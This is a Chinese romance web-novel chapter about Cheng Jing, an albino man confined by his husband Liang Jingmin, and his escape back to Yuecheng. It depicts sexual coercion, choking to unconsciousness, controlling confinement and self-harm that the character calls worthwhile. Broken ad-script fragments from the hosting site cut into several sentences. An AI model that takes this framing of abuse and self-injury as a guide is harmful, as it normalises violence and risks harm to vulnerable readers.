《为何会两败俱伤》 1. 白化 西京没有秋天,一场雨后就入了冬。 梁景珉腰间围一条浴袍,眼角眉梢挂着水汽,慢腾腾从浴室迈出来。淋漓水渍覆盖着清晰分明的肌肉线条,一看就是金钱与天赋堆叠出的完美肉|体。 他抬眼,目光缓缓向床边扫去。 床边靠坐着一个年轻的男人,低垂着头,双目微阖,只露出一张轮廓清晰侧脸,漂亮得让人心惊。他浑身皮肤冷白胜过雪色,就连睫毛都是近乎透明的。 此刻他赤|裸上身,白发湿漉漉贴在额前,下|身松散拢着薄被。远处略略瞥过,便见他白得骇人的皮肤上遍布青紫污痕。右手松松锁着一条银色手链,手腕上淤紫痕迹可怖,是方才挣扎动作落下的。 他皮肤下另略透出红晕,伤处隐隐透出血渍,和面容一样带点触目惊心的味道。像是薄如蝉翼的宣纸上镌刻着力透纸背的破碎凌乱墨色,让人不禁倒吸一口凉气。 雪白长睫下藏着偏紫色的瞳孔,这是基因突变所导致的临床表征,他是一个白化症患者。不似凡俗间能有的美丽背后,昭示的是无尽的痛楚。 听见梁景珉推门的声音,他偏头抬眼看过来。眼神疏离冷淡,仿佛是打量随便一个陌生人。 梁景珉最憎恨他这种眼神。 无名火烧起来,先是灼烧他的心肝肺肾,接着灼烧他的耻骨。梁景珉三步并作两步走到床边,右手狠狠掐住程荆的脸,让这张仿佛玉雕的美丽面孔变形扭曲,让他不得不看着自己,接着用力吻上去。 窒息的时候一切都化作无边的海,再次呼吸到第一次空气的时候有如复活。 终于松开手时程荆重重呛咳几声,苍白的脸上多了点血色。 太苍白的人总显出几分病态,梁景珉吮吸着他的唇齿,接着伸手一探,只觉得仿佛能摸到程荆纤瘦的脊骨。 其实程荆从前分明也有着骨肉匀停的躯体,高挑劲瘦,穿上西装时挺拔耀眼、俊美无俦。 梁景珉的怒火是沉默的,整个人行走着仿佛一场脾气温驯的火山爆发,不声不响,板块摩擦形成局部高温,平静地流出滚烫的熔岩。 他松开了程荆唇齿,然而并不是打算放过他的形容。他单手扣住了程荆双手,另一只方才捧着他后脑的手变换角度,拇指抵开他的牙关侵入唇齿,低沉的声音混合了复杂的情绪:“你是不是又没有好好吃饭?” 他当然等不到程荆的回答。梁景珉的指节动作,压住了程荆舌根呕吐的关口,他不适地猛向后缩,后脑离开了梁景珉温热的包裹,重重磕上了墙壁,程荆合了合眼,发出难耐的闷哼,唾液不受控制淌了出来。 梁景珉离得太近,程荆的视线一片模糊,看不清他神色。 刚刚才结束一场折磨,他形容狼狈,对此十分抗拒。 “我累了…”程荆轻声恳求,然而在梁景珉听来却是冷淡的拒绝。 他欺身上来,冷冷道:“闭嘴。” …… 在积压的痛苦即将到达阈值时,程荆往往会想象自己并不在自己的身体里。 和灵魂出窍的底层逻辑相似,他可以坐在一旁,冷眼旁观这一切,欺骗自己、想象着那个难耐颠簸的人不是自己。(做梦、坐船,所以颠簸) 可惜这种方式并不总是奏效,屋外仿佛传来雷声,疾风骤雨如摧,浸透他眼角眉梢。 程荆的肤色过分莹白,汗水浮于其上,像是水濯玉质,虽然动人心魄,却不至于淫|靡肮脏。他断续声音里也似有潺潺流水声:“求你……” 他感觉太冷,靠在梁景珉的身上发抖,睫毛轻颤,头晕目眩,沉溺般挣扎,不知道怎样才能离梁景珉更近些。 可惜梁景珉非不肯遂了程荆的愿。 尽管这样的事情已经发生过无数次,但程荆仍然感觉自己要被撕碎了一般,暴雨过分猛烈,痛楚抑或是什么别的感受在浮沉间灭顶般灌入他颅中,像是要生生将他劈成两半,疾痛如摧,不可挣脱。 其实梁景珉看了他这般模样心里也不觉抽疼,像是蚂蚁啃咬般密密的麻痒感受,又仿佛有人伸手揪住了他的心尖肆意揉|捏。只是越是如此,他却越是克制不住下手更重。 其实从前梁景珉并没有什么太恶劣的习惯,只是每每瞧见程荆这幅油盐不进冷淡面容时都会激发出他恶劣的本质,忍不住要下狠手在程荆身上逼出他的本色,留下属于自己的抹不去的印记。 程荆太苍白,有点像一朵云或是一场雾,而梁景珉想要将他据为己有。可惜他越用力抓握,他便愈发快地消散破碎。 所以与其说是梁景珉强迫程荆,不如说是他们互相逼迫。在棋逢对手的狠辣对决中,不知不觉逼出彼此身上最黑暗肮脏的那一面。 只是如今看来,还是梁景珉更胜一筹了。 到后来,程荆当真有些招架不住,他整个人战栗着(因为冷),紧咬牙关也控制不住流泻出的声响。 他雪白的皮肤上只要轻轻一碰便留下印记,此刻浑身弥漫着异样的粉红色,眼里泛着水渍,带着哭腔般意识模糊地轻道:“我好难受……” 然而这句话却仿佛忽然击中了梁景珉,他停了下来,轻吻程荆的嘴角。 他慢下来,是想看见程荆的眼睛。然而那双冷色调的眼睛里除了弥漫着水光外,依旧是冰凉的。 他无数次查看,永远不死心,然而得到的永远只会是同一个答案罢了。 他冷笑一声,不知道是笑自己还是笑程荆,转即却更为疯狂。他手上握着程荆的脖颈,紧一分怕他太疼,松一分怕他不懂得教训,然而因果轮回报应不爽,疼痛一分不少反噬到他自己身上。 手上的禁锢终于还是在绝望的、溺水般的窒息中缓缓收紧了。 血液的流通被缓缓阻塞,程荆感觉眼前慢慢变黑,停止了挣|扎。他终于不怕了,他明白缠绵淋漓的痛苦会在意识消亡的那一刻消弭殆尽,他可以继续在另一个世界欺骗自己眼前的人其实是爱他的。 程荆悲伤地想,或许死神会承认他的爱,将他的痛苦和忍耐美化升华,勉为其难称之为殉情。 传言道人在鬼门关外徘徊不前的时候会经历一种叫做走马灯的东西,程荆也不例外。而在这一刻,他不免想起第一次见到梁景珉时的情形。 十五岁,月城。 盛夏缠绵不绝的雨季,独有一种潮湿的沉重冷色调。程荆穿着洗旧了的白校服靠着楼梯间栏杆,立在公告栏外,这是一中的竞赛生选拔考试结束一周后,他在等成绩公布。 他正是抽个子的时候,单薄的洗旧了的白色校服外依稀透出少年纤 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 瘦漂亮的骨骼,肩背脊梁微微的弧度显出并不单薄的量感。 程荆的脸和胳膊比衣服还白净,又有一头扎眼的白发和过分漂亮的五官,此时正是下课时间,眼前人来人往,路过的高中生都盯着他看,他是个安静的目光吸引器。 别的中考生都在家里等短信通知,只有他没有手机,不得不赶到一中本部等成绩张贴。 一中是全月城最好的高中,今天的结果决定着他还需不需要参加中考,他不可避免有些紧张,指甲掐进雪白皮肉里,在手背上留下一长条弯弯曲曲的红印。 雨下大了,漏进走廊里来砸在身侧,不轻不重的声响,像凌迟的滴漏。 暴雨有它特有的气息,程荆闻到灼烈的尘土草木气息,这味道让他冷静。 他原本没有察觉,直到一个人走到跟前温声道:“同学,要不要站进来一点,你背上都湿了。” 他高挑、肩宽、黑发、英俊。 程荆已经很高,却不得不抬头才能看清他面容。这是一张会出现在情窦初开少女梦中的脸。 梁景珉。后来程荆才知道他的名字。 程荆背后被烫了一下般,像受惊的鸟,后知后觉地动作,换了位置。 梁景珉把手里的一打资料递给程荆,大约是他的考卷和简历,道:“结果出来了,老师说你本人在这,所以要我顺便一起拿出来给你。恭喜。” 他话音刚落便转身离去,没有丝毫留恋和好奇的打量,步伐是轻快和沉稳的集合体。程荆没有来得及说声谢谢。 这时候梁景珉还很年少,没有张开成后来夺目逼人的英俊锋利,却仍旧让人挪不开眼。 新鲜的空气缓慢流入鼻腔,程荆被迫从回忆抽离到现实。他背靠在床榻上,那时疏离温柔的少年近得不能再近,带给自己的却不再是点亮一整天的好消息,只有无穷尽的折磨,求饶无用无果。 程荆好像听见淅淅沥沥的雨,又想起曾绵延一整个夏天的雨季,脏水每天都会灌进他的鞋子,指缝都是润的。 就像是梁景珉强加给他的一切:肮脏、潮湿、痛楚,如同暴雨在泥土表面砸出的深坑与浑浊积水。 这感觉比淋雨更加糟透了。 终于结束后,程荆后知后觉地想着没有结果的问题。 如果不爱,为什么非要和他结婚?如果爱,为什么现在又要瞒着他去娶别人。 人在出神的时候往往会忽略其他的东西,所以在梁景珉捏着他的脸叫他的名字时程荆没有回答。 他常常出神,常住湖畔别墅后尤甚。成日的见不到旁人,只能任由自己胡思乱想。 梁景珉到底还是有些歉意,声音轻了些许,语气仍旧不容拒绝:“缓过来点了吗?”他伸手将程荆拦入怀中,骨骼与血肉碰撞,这曾经是能让程荆感觉到安全的姿势。 程荆没有立时回答,只是沉默着,泪水从他的眼眶中不可抑制地流淌出来。程荆从前其实很少哭。 汹涌的眼水像是一场迟来的对流雨,咸腥苦涩,本不该存在于西京的冬天。 久到梁景珉以为他不会再回答了的时候,程荆才用尽力气说出那句憋在心里的话,语气很平静,却莫名让人极其难受。 他的泪水积在下巴上:“梁景珉,订婚快乐。” 2. 窥伺 程荆的一天很简单。 起床。被管家看着吃早饭,一点也不许剩下。被允许看书、看电影——只在梁景珉允许的范围内。午饭。午休,一个半小时一分钟也不能少。锻炼身体或者继续看书。晚饭。迎接梁景珉回来。 梁景珉虽然从来没有在明面上禁止程荆出门,只是经历了先前几次“意外”,他看程荆看得愈发紧。他的身体不适合白天出远门,而傍晚梁景珉总是在,不痛不痒的禁锢,一来二去就把人困住了。 程荆却不是一个容易认命的人。 他骨子里其实很偏激,也曾经闹过几次很大的。报了警、住了院,到头来还是回到了湖畔别墅,走不掉不说,还要独自消受梁景珉吓人的脾气。 那段时间他过得浑浑噩噩,分不清白天黑夜清醒沉沦,只记得睁眼的时候梁景珉永远坐在身边,仿佛偌大的地球濒临末日,只剩下两个相依为命的幸存者苦守这昏暗的小屋。 窗帘紧闭,昏黄的灯光洒在耳畔,梁景珉的表情总是很平和,好像什么都无所谓,把什么都玩弄于股掌的样子。看他的眼神很温和缱绻,有难以觉察的逼视和威胁。 在床上躺了两个月,程荆告诉自己,要惜命,于是终于学了乖。 其实程荆很不明白梁景珉为什么非要留着自己在身边。 譬如豢养一只兽物,也总要收获忠诚才称得上有兴味。程荆身体太差,人又倔强,他像是一株苍白、畏光、带刺的沉默植物,实在是无聊又乏味,一不留神还会被扎到手。 无事可做的时候程荆会思考这个问题,尽量寻求一些美好的爱情故事作为参考文献,麻痹哄骗自己不再钻牛角尖,放自己一条生路。 昨夜暴雨倾盆,今晨依旧阳光明媚,程荆缓慢地咀嚼着早餐,像小骆驼咀嚼草料,缓慢、沉默,甚至有些乖巧。 他往身侧望了望,宽敞的一楼原本装饰得很有格调,只是梁景珉不厌其烦地往里堆东西,现在显得有点不伦不类。 窗帘每日紧闭,程荆每天抽出几秒钟遗憾思考落地窗修建得毫无意义,窗侧摆放着一架钢琴,显得很占地方。 程荆还记得,是有一次梁景珉搂着他在小影院看海上钢琴师。电影是随手选的,很有名,程荆却看得昏昏欲睡,看完只留了一句:“我之前钢琴也过了十级的”。第二天一楼就多出一架锃亮的施坦威。 梁景珉喜欢做这样毫无意义的事情。他不知道程荆初中住校后就再也没有练过琴,现在一首曲子也弹不出来了。他也不知道程荆每每看见钢琴就想到闷热夏日的琴房,弹不好就要受到老师劈头盖脸的责骂,没有空调,汗水浸透身体的每个分寸。 程荆收回了目光,继续磨洋工一样吃他的早餐。昨夜的对白在他身体里留下一根尖刺,缓慢流淌出滚烫血液,伤口溃烂流脓,程荆习以为常地忍受痛苦。 在这个过程中,他对管家第十二次提出了同一个请求:“我要看电视。” 管家第十三次恭敬嘱咐:“电视坏了,您可以在小影院里看下载的电影和电视剧。” 他不想看电影或是电视剧,他想看电视。 昨夜梁景珉对他的质问和眼泪感到愤怒,矢口否认他的推断,有些疾言厉色地结束了话题。程荆得不到答案,只好当作默认,于是他整夜将自己蜷缩成一团,幻想自己消失,幻想发生过的没有发生。 “电视坏了不能修吗?”程荆冷冷地噎了回去,嗓音沉冷嘶哑。 管家在能力范围内对程荆很照顾。程荆对他一向和颜悦色的,今天语气却很差,大约是自己过得不好,但看见别人也不好受,就觉得日子还算能过得下去。 管家沉默。这一定是梁景珉的嘱咐,为难管家没有意义。 程荆挑了挑眉,喝下去一口橙汁:“好,既然不能看电视,那我要出去。” “可以,梁总说过,如果您想,吃完午饭我可以陪您去俱乐部转转。” 他所指的俱乐部是西京的顶级会所之一,为数不多梁景珉没有明言禁止管家带程荆去的地方之一,那里绝对安全,在梁景珉掌控之内。 程荆抬眼,显露出惊讶,像是害怕管家收回这个提议般,没有丝毫犹豫答道:“好”。 在硕大的别墅消磨了一个无聊的上午,午后程荆把自己裹得严严实实,由管家开着车前往了俱乐部。 另一边,梁景珉对程荆复杂的心理活动一无所知,更不知道他几个月来唯一一次出门聚会还能和程荆撞上。 俱乐部内的空气里若有若无弥漫着让人心旷神怡的气味。梁景珉和友人坐在公共区,气氛很不错,卡座之间隔着恰到好处的距离。 音乐声缓缓流淌,管弦声和点钞机有点异曲同工之妙。 贺沛廷瘫倒在沙发里,左拥右抱着,还分出神来八卦梁景珉:“你要娶赵都宁你家里那位知道吗?” 贺沛廷是梁景珉的发小,两人从幼儿园就同班,只不过梁景珉高中逃去了月城念重点普高,贺沛廷念的是国际学校。他是个典型的二世祖公子哥,但人还算正经,各个圈子都很吃得开,也很爱组局喊梁景珉出门,今日是第八百回,梁景珉终于赏脸前来。 梁景珉手里拎着红酒杯,摇摇晃晃转着却没喝,修长的手指绕着杯颈,像一幅罕见的油画珍品。 他面容平静无波,听见贺沛廷的问句,百无聊赖答道:“他身体不好,成天在家里胡思乱想,告诉他干什么?” 贺沛廷勾起唇笑:“你们的消息网上好多,你不怕他刷到?” 梁景珉名义上的未婚妻赵都宁是个小有名气的网红,但其实网红这个事情对她而言连副业都算不上。她上头有个姐姐,用不着继承家业,主业是做海归高材生,副业是做赵家千娇百贵的小姐。 长得漂亮家境殷实,学历高会念书,随意在网上拍几张照分享生活便轻易坐拥万千粉丝,一条随手发的笔记角落里带了无名指上的戒指,现如今订婚的消息已经铺天盖地。 被扒出来婚姻对象是梁景珉后这件事更是直接被吵上了热搜,年轻英俊、位高权重,梁景珉这样低调的人,名气却一直不小。 梁景珉掀了掀眼皮,答非所问:“做秀罢了,又不是真结,顺便把手头这个合作了结了,再过几个月就没人记得这件事。” 他语气很平静,派头也很平常,贺沛廷却察觉出不对劲,笑他:“景珉,听你语气倒像是在说服自己。” 梁景珉皱了皱眉头。想起昨夜的对白,想起程荆没来由的质问和眼泪,眉目笼罩上了一层阴云。 “非得结婚有什么劲,平白把自己套住了”,贺沛廷看着梁景珉和程荆一路走过来,深知程荆绝不是个好拿捏的人,十分不理解地撇了撇嘴,“不过你俩最近是不是好些了,看你比以往轻松,他身体好点了吗?” 梁景珉摇摇头:“还是老样子。” 另一边坐着的谢函弋是学医的,之前受梁景珉所托给程荆看过几次身体,听见他俩聊到这个话题就凑过来嘱咐了两句:“他那个样子,再折腾该散架了,你可千万别……” 平心而论除了偶尔强势梁景珉从来不会动手折腾程荆的身体,几次出事都是源自于程荆对自己下手太狠的缘故。 但梁景珉并没有辩解,只是垂眼闷了一口酒。 贺沛廷是个识趣的人,看见梁景珉握酒杯的手紧了紧,很快换了话题:“昱霖最近,还算安分么?” 梁景珉母亲去世得早,梁昱霖是续弦所生,老梁总近年来身体不好了,梁家兄弟分庭抗礼是圈内心照不宣的事,但外人知道得少。 贺沛廷和梁景珉走得近,知道得更多些,也是为数不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 多敢问出口的人。 梁景珉顿了顿,像是突然听见什么开心事,冷笑道:“他敢不安分吗?” 不一会功夫梁景珉手中的酒杯就见了底,他点了点杯壁,立马有人看着眼色上来续杯,就在这时候保镖附到梁景珉耳侧说了些什么,梁景珉脸色一变,起身就要离席。 “诶诶诶,做什么,这就要走?”贺沛廷伸手去拦。 “有急事,料理完了就回来。” 贺沛廷铁了心不让他走:“之前也总这么说,从来没回来过,天天窝在家里陪老婆,几个月才聚一回,今儿我还偏不许你走了。” 梁景珉脸色一沉,正待要说话,远处袅袅婷婷走来一个年轻女孩。她一头茂密的卷发顺亮垂在肩头,一身名牌套装,没有显眼的logo。脸小、精致、毋庸置疑的漂亮。 她落落大方笑着,顺手就挽住了梁景珉的胳膊,又对着贺沛廷打招呼:“小贺,好久不见,这么巧!我刚在那边,看见你和景珉,就过来打声招呼。” 说着她往身后点了点,另一桌坐了一群年轻漂亮的女孩,大约也是约着聚会的小姐妹。 梁景珉没有拒绝她的亲近,微笑得顺畅合宜。他就是这样,当着人永远不会失态,极其擅长伪装成正常人的模样,不熟悉的人都以为他亲切。 贺沛廷挑了挑眉,理所应当地以为梁景珉方才得到的消息便是赵都宁也在这儿,他急着要走是想躲这个被硬塞的未婚妻。 当然事实并非如此。 保镖报告是由于梁景珉在俱乐部的副卡产生了消费,这意味着程荆离开了湖畔别墅,大摇大摆地来了俱乐部,完全没有打算瞒着他。 这件事的性质其实很难定义。 上一次程荆出事就是在俱乐部,然而梁景珉并没有禁止他再来,甚至还堂而皇之给了副卡。当然程荆很识趣地再也没有来过。 明知道不该来,却还是来了,一种可能是他当真放心地来随意逛逛,然而更通俗符合脑回路的解释便是他在明目张胆地挑衅。 梁景珉有点坐不住,所有涉及到程荆的事都让他血液鼓噪,然而在这个时候赵小姐的出现又导致他不得不留下应付这场毫无意义的寒暄对白,脱不了身。 赵都宁敏锐地发现了梁景珉的不对劲。 梁景珉是个看起来城府很深的人,这是她与他为数不多次数接触中唯一一次察觉到他的失态。她小心地没显露出来,十分自然地出口道别:“我今天陪姐妹出来的,就不久待了,不然她们该说我重色轻友。” 梁景珉如释重负地露出微笑。 远处来看,几人对白自然,言笑晏晏,英俊温和的天之骄子挽着他门当户对、貌美优秀的未婚妻,别提多相称了。 此时此刻,戴着墨镜、口罩的程荆在不远处放弃了长达半小时的窥伺。 黑色皮质手套包裹着修长的手指,鸭舌帽遮住他雪白的发丝。 程荆苦笑,亏得他还费劲心思想从广播电视里找蛛丝马迹,得来竟全不费工夫。 这么多年了,他甚至都已经忘记梁景珉笑起来如沐春风是什么样子。现在来看,原来他还没有彻底丧失这个表情功能。 女孩的手指纤细美丽,无名指上钻戒闪着刺眼的光,皮肤是健康的白皙。 程荆冷眼垂目看向自己的黑手套,厌恶到想剥去那层病态惨白的皮肤。 他轻轻摩挲了一下手指,感觉自己掌心出了汗,心跳节奏乱得不正常。对管家说的话听不出情绪:“我们回去吧。” 他说服自己收回目光,然而还是走得深一脚浅一脚,想要走到电梯口仿佛用了一个世纪。 然而刚出门没走几步,程荆就被人硬生生扳住了肩膀,力道不容拒绝。 身后传来阴冷的声音:“我说你能走了么?” 3. 结语 程荆顿住了脚步,眼皮一掀,笑得不太分明。 转头时却显得很无辜:“怎么你也在这儿。” 梁景珉拉他的手使了八成劲,就这么堂而皇之地把他搂进自己怀里:“我觉得这个问题更应该问你才是,对不对?” 程荆很抗拒当着人和他贴这么近,挣了一下却没睁开,只得抬眼瞪着他,梁景珉无所谓地回望着他,两人针锋相对,几乎要剑拔弩张。 他们之间的气氛很微妙。 程荆的目光里混杂了莫名的东西,梁景珉感受到久违的失控感和心虚,不敢确认他看见了什么,松了手。 程荆心里冷笑。是了,当着人他还要装出绅士的模样。 于是他无所畏惧地说着平素不会说的话:“今日不回家,原来是另有艳遇。” 果然,梁景珉陪笑:“哪有?宝贝,是你看错。” 程荆嘴角上扬,眼底还是冷的。 “我以为你不爱出来,怎么今天想到来这里?”梁景珉进了一步,语气带了无形的压迫感。 “怎么,我不能出来?”程荆无所畏惧地和他对视,“我没有权利出来?” 他抬起手指,修长食指和中指之间轻轻夹着那张会员卡摇晃。 可见程荆今日相当挑衅,梁景珉却也很罕见地不想与他较真,大约是想起来先前在俱乐部的经历,不愿回想。 于是他上前搂过程荆的肩膀,打圆场:“好了宝贝,是我不对。我正要回去,咱们正巧同路。” 于是就这么拉着他出了俱乐部。 - 程荆靠在车窗上,外头大雨下得淋漓。 刚刚还晴空万里,现在就变天,西京的天气真是无常。 程荆在月城长大,西京和月城很不一样。月城一天到头下雨,西京却鲜少有雨天,是以一下雨就想到家。程荆贪看,眼珠都不动一下。 他的后脑勺对着梁景珉,却总能感觉到灼热目光的逼视。 “眼镜戴上。”他冷冰冰下命令。 梁景珉总是这样,现在他不再是他的老板,却还总是一副发号施令的作态。 平时到这个时候程荆就该听话了,但他今天忽然觉得特别没劲:“又没出太阳,带什么?” 一转眼梁景珉已经凑到了身前,把眼镜腿推到了他耳畔,长睫毛静静垂着。 “先送你回去,一会儿我还得出去一趟。”梁景珉道。 原因在于贺沛廷刚才微信警告他,梁景珉理亏,还得回去陪几个狐朋狗友。当然,他从来不对程荆解释。 程荆听来却不是这么个意思,他回想起刚才窥见的美人,联系起梁景珉的行踪,心情一下跌落到谷底。 他说:“随便你。” 仍觉得不够劲,他非要当着梁景珉的面把那眼镜取下来,补充了一句:“你要是玩腻了,可以放我走。梁景珉,我绝对不会纠缠你。” 言罢程荆偏头冷冷看着梁景珉。肆意观赏着他瞳孔颜色的变化,梁景珉的心情是万花筒,程荆掌控着观测密码。 其实说这么一句话是一把双刃剑,想要刺痛梁景珉的同时程荆自己也疼的龇牙咧嘴。 即便他做好了准备,看见梁景珉脸色沉下来的时候心里还是一空。 “你说的什么鬼话。”梁景珉忽然咬住程荆的嘴唇,情绪像潮水弥漫上来。 和从前一样,“走”还是梁景珉那里不可触碰的雷区。 因为梁景珉看不见,程荆自暴自弃地再次允许自己不控制吐息和情绪,他漂亮的紫色眼睛此刻雾蒙蒙的,失神的悲伤是不需要颜色点染的。 因为他是男人吗?不能委屈了金尊玉贵的娇小姐,所以不许他走,利用他见不得人的劣等情意,留下了做他上不得台面的秘密情人。不对,其实他们结婚了,情人、妻子、丈夫,无所谓怎么称呼。 不可否认梁景珉一直以来的强势、极端、不容反抗都有一种致命的吸引力,像是一株有毒有害、张牙舞爪的花,他恐惧、厌恶,却收不住靠近的脚步,直至把自己拱手奉上。 然而在这一刻,他却忽然觉得好没意思。这个吻带点窒息,他好似可以品尝到梁景珉的怒火,耳边有潮汐拍打海岸的嗡鸣声,如果再来一次,他希望自己不要爱上梁景珉。 湖畔别墅的三年婚姻耗尽了程荆激烈的情绪,但不妨碍他的决绝。 梁景珉的手缓慢下移,程荆的呼吸急促起来,等到了别墅时他已经没有什么力气,只能任由梁景珉打横抱着回到卧室,轻轻放进被窝里。 他被汗浸湿的侧脸晶莹剔透,眼皮缓慢掀起:“我讨厌你。” 梁景珉回头时微微一笑,很有初见时的温柔。 他说:“我知道。” * 下了雨的冬天很容易着凉,入夜后程荆理所当然地烧了起来。梁景珉的晚归已成定局,程荆此时已经起了床,缩在钢琴旁的软垫上,身边摆着被大卸八块的遥控器,电视的确坏了。 管家手里捧着已经凉了的药碗,沉默地看着程荆折腾。 程荆捣鼓电器其实很在行,硕大的电视机很快也变成了一堆零件,此时他终于宣告放弃。 高烧烧得头脑混沌,肢体僵硬像灌了铅,钝痛像被尖刀剔除骨髓。他脑海里自动搜索起上一次这样痛楚的情形,和梁景珉在一起以后痛很多,程荆已经进化出保护机制。 但想起那个燥热的夜晚并没费他多大功夫。 他仿佛是躺着,不是自己的房间,手腕很凉。 他听见自己的声音沙哑得吓人,像生锈的齿轮,艰难滞涩而顽强地运转着。他说,“我要离婚。” 梁景珉的声音还是一如既往的平稳,眯了眯眼睛,款款轻笑时很有气质,声音低沉得好听:“不可能。” “那就分手。梁总,如果你只是想要那纸文件。” 梁景珉的指节轻轻抚过程荆汗湿的额头,很像爱人的温柔缱绻,“这辈子都不可能的,宝贝,这件事你最好别再想了。” 梁景珉的双目猩红,全然不像语气那般平静。灼热的吻印在程荆的额 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 边,程荆感觉到自己在颤抖,蛇似的,想要挣脱他散架的躯体。他疲惫地望向梁景珉,头一次看清他一般,提出了退而求其次的请求,“我要洗澡”。 他承认自己没有想着死,只是不想再整天整夜面对着梁景珉的面孔。见到其他什么人都是好的,只要不是梁景珉。 他觉得自己有点浑浑噩噩,水蒸气蒸腾起来,雾蒙蒙的他看不清。现实和虚无的边界逐渐模糊,流水蜿蜒盘旋,冷意和炙热交杂,他只是坐着。 十五分钟后浴室传来一声巨响,浴屏爆裂,万千碎片全部扎入程荆的皮肤里,程荆浑身赤|裸,近乎每一寸肌肤都在往外喷薄着汩汩鲜血。 梁景珉冲进来的时候面孔已经不似人色,程荆这时候感觉不到疼,只觉得奇怪,生平头一次见梁景珉失控成那个样子。 梁景珉想要抱住程荆,却根本无从下手,手腕发冷似的抖。程荆睡过去之前还笑,莫名觉察出快意,几乎要张牙舞爪。 醒来以后鼻腔满是消毒水味,疼痛已经有点渺远。 谢函弋是一个温柔的医生,趁着梁景珉不在,他对程荆说:“不要为了其他人的错误惩罚自己。” 程荆的笑容柔和疲惫。没有,他没有在惩罚自己,更没有想要借由惩罚自己来惩罚别人。他只是在求生。 受伤的那一刹那很痛,过了片刻却有一种大病初愈的错觉,程荆久违地找回了对自己的掌控感,他轻轻地笑,新奇地看着身上雪白的绷带,觉得真的是很值得,好像看见新雪白白净净落在身上。 只是偶尔瞥见梁景珉的时候他又觉得脑袋很乱。 “程先生,你还好吗?”声音很遥远,是翟管家。 程荆烧得不清醒:“梁景珉回来了吗?” “梁总还在陪朋友,您想和他通个电话吗?” 程荆怔怔盯着管家,过了很久才对焦,半晌答:好。 他有手机,因为梁景珉总是监视他的使用,慢慢就不再用了。此刻终于拿到不受监视的手机,程荆迅速点开软件,甚至没看目的地,定了时间最近的机票。每个步骤都熟练得惊人,仿佛是在心里演练过无数次,头一次下定决心实施。 他撑着酸痛的身体坐起来,翻出双肩包,收拾了几件衣服。他的东西很少,像个旅居的客人。 他在把手机递还给管家时利落给了他一手刀,扶着他瘫软躯体睡在地毯上后还贴心盖上了一床薄被。 接着他上了三楼,熟练输入保险柜密码取出自己的身份证件。 很奇怪,梁景珉想把他锁住,却又堂而皇之把钥匙递到他手里。 程荆眉头微蹙,反身下了楼,到门口时回头看了看监控摄像头,很无所谓地转身开门,背着双肩包,大摇大摆从正门走了。 三年,任何剧目都有散场的时候,任何书籍都有终章,程荆利落地给这段面目全非的所谓感情收了尾。 至于结语—— 主卧床头柜上程荆的笔迹漂亮潇洒:“提前祝你新婚快乐。我成全你们,别折磨我了。” 4. 月城 程荆到达月城的时候才意识到他并不知道自己该去哪里。 月城的细雨扑在车窗上,程荆托着腮看着车窗外流动成残影的童年景色,想开口说些什么时才后知后觉想起来梁景珉没坐在身侧。 三年,梁景珉寸步不离的监视已经成为一种难以甩脱的习惯,程荆哑然失笑,重获自由原来也没什么实感。 他本来想回家看看父母,走到了楼下却没上去。 这些年来程荆的父母一直以为他保留着西京那份让人艳羡的好工作,找了个优秀英俊的对象,连同着多年前到手的那份漂亮学历一起,拼凑成一个世俗意义上完美的孩子,是邻里聚会绝佳的谈资。 仿佛这些名号就能满足一对父母的所有期望,多年的养育不过是一场旷日持久的投资,他们握着显而易见收益颇佳的筹码,并不期盼孩子越出轨迹的突然现身。 他们当然不知道一切都是程荆拼凑的骗局。 所谓优秀的对象,不过是个不择手段的变态,以折磨他们的孩子为乐。为了夺他在手不惜害他身败名裂,剥去他所有的社会身份和关系,一点一点将他削成一尊独属一人、漂亮无用的掌上珊瑚。 那份工作至今保留着,工资按时打入程荆的银行卡,尽管他已经不再被梁景珉允许前去上班。能做的只有枯坐在空旷华美的别墅里,逐渐退化成一株供人赏玩的稀有植物。 程荆离开小区,叫了辆车,目的地选的月城一中。 他出来时顺走了管家的手机,早在西京机场就买了这部新的,贴心地将管家的旧手机丢进了西京机场的失物招领处。 既然回了月城,那就回高中看看吧,程荆高中时记得学长学姐时常出现在窗外,他们兴高采烈地招手,讲台上的老师喜上眉梢出门迎接,余下的人可以自习,三全其美。 程荆责备自己竟然会怀念高中,那时压抑的优绩主义和苦涩的暗恋压迫着他,即便程荆已经是世俗意义的“天才”,生长痛依旧如影随形。 然而直到程荆走到校门口才发现一中早就重新装修,门口安上了面容识别闸机,他的手机里没有班主任的电话,根本进不去校门。 然而这趟并没有白来,因为紧接着他遇见了林殊珩。 林殊珩和程荆高中同班,因为是竞赛班,班里拢共只有两个女生,林殊珩是其中之一。 “程荆?”林殊珩一路小跑追过来。 月城下雨,程荆没有把自己裹成一只粽子。那种苍凉异化令人不安的白使得想认出他是件很容易的事。程荆顿步回望,有些不敢相信自己的眼睛。 林殊珩自来熟地走到程荆身侧:“太巧了,怎么在这里碰见!你回月城也不和我说一声,咱们应当一起吃饭呀!”看清了他面孔后她又讶异道:“你怎么瘦成这样!” 程荆轻轻笑了,他原本都有些认不出她——她现在和从前全然不一样了,头发留长,开朗从容。笑起来两眼弯弯才依稀看出原来的模样。 他记忆里的林殊珩是个留妹妹头、腼腆安静的女生,大约因为班里没有太多女孩,而她又不是那种能和男孩玩到一处的姑娘,永远坐在教室角落里不抬头地刷题。 说起来她和程荆同班三年,还传过一年多的绯闻,两人私下却一直不熟,上了大学才建立起联系来。 那时一班大多同学通过数理化生竞赛进入国家集训队后直接保送top高校,少部分人竞赛失利不得不回来准备高考,她是其中之一。 对她最初生动的印象,是竞赛结束后的第一次联考,文化课丢了几个月,自然比不过其他日夜备战高考的同学,晚自习她抱着一摞试卷在走廊里哭,一边哭一边更正错题,卷子皱得像咸菜。 他那时候已经拿了降分,高考不过走一场流程,但依旧留在学校自习,出门打水正巧看到这一幕,走到她面前帮她把卷子叠起来,轻声道:“没关系的,慢慢来。” 说起来那时候他们只是陌生人,林殊珩后来却说她一直记得那个晚上。两人并肩散步,紫操的灯光照得她瞳孔亮晶晶,她说,程荆,你真的是个很温柔的人。 二模林殊珩就已经是年级第一,后来她裸分上了京大。 